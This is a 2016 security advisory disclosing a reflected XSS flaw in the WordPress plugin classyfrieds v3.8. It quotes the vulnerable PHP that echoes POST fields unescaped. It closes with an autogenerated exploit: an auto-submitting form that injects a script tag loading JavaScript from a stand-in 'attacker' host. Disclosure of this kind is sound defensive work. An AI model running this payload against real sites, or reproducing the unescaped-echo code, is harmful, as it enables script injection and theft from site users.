Advisory #: 1326
Title: Reflected XSS in wordpress plugin classyfrieds v3.8
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/classyfrieds
Downloads: 8698
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: classyfrieds
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./classyfrieds/themefiles/blind_mail.php: 34: <input type='text' name='m_title' value='<?PHP echo $_POST['m_title']; ?>' style='width:90%'><br /> 36: <textarea name='m_body' rows='5'style='width:90%'><?PHP echo $_POST['m_body']; ?></textarea> 39: <input type='text' name='m_myname' value='<?PHP echo $_POST['m_myname']; ?>' style='width:90%'> 42: <input type='email' name='m_mymail' value='<?PHP echo $_POST['m_mymail']; ?>' style='width:90%'> The variable m_title appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./classyfrieds/themefiles/blind_mail.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/classyfrieds/themefiles/blind_mail.php method=post> <input type=hidden name=m_title value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>